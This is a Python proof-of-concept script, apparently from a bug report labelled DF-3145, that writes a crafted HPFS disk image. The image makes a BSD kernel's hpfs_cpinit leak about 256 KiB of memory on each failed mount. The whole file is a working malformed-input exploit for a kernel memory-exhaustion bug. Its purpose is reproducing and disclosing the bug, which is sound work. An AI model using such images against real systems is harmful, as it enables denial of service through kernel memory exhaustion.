#!/usr/bin/env python3
"""
DF-3145 -- hpfs image that reaches hpfs_cpinit (sys/vfs/hpfs/hpfs_subr.c)
with sp_cpinum > 0 but sp_cpi pointing BEYOND the end of the device, so the
first bread() at :283 fails and the function returns at :286 WITHOUT
freeing hpm_cpdblk (kmalloc at :276) -- the caller (hpfs_mountfs ->
hpfs_vfsops.c) only frees hpm_bitmap/hpm_bmind via hpfs_bmdeinit on later
unmounts; a failed mount leaks cpicnt*sizeof(cpdblk) per attempt.

cpicnt is sp_cpinum (uint16 at spblock+36): 0x4000 = 16384 ->
16384 * sizeof(struct cpdblk) per failed mount.  struct cpdblk
(hpfs_subr.c / hpfs.h) is 16 bytes -> 256 KiB leaked per failed mount,
directly observable in vmstat -m (M_HPFSMNT).

Same skeleton as the DF-3144 livelock image, with sp_cpi = 0x40000 (past
the 0x10000-sector = 8 MiB image; sector lsn is used via dbtodoff ->
byte offset 0x40000*512 = 128 MiB > image size -> bread error).

usage: craft_hpfs_err.py <out.img>
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x10000                      # 8 MiB image
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
SP_OFF_CPI, SP_OFF_CPINUM = 32, 36


def build(outpath):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)
    wr32(su + 16, IMGSEC)
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)

    sp = 0x11 * SECTOR
    wr64(sp + 0, SP_MAGIC)
    wr32(sp + SP_OFF_CPI, 0x40000)    # sp_cpi far past EOF -> bread fails
    wr32(sp + SP_OFF_CPINUM, 0x4000)  # 16384 code-page blocks = 256 KiB leak

    wr32(0x30 * SECTOR, 0x38)         # bitmap pointer

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: sp_cpinum=0x4000 sp_cpi=0x40000 (bread fails @ :286, leak 256KiB/mount)"
          % outpath)


if __name__ == '__main__':
    build(sys.argv[1])
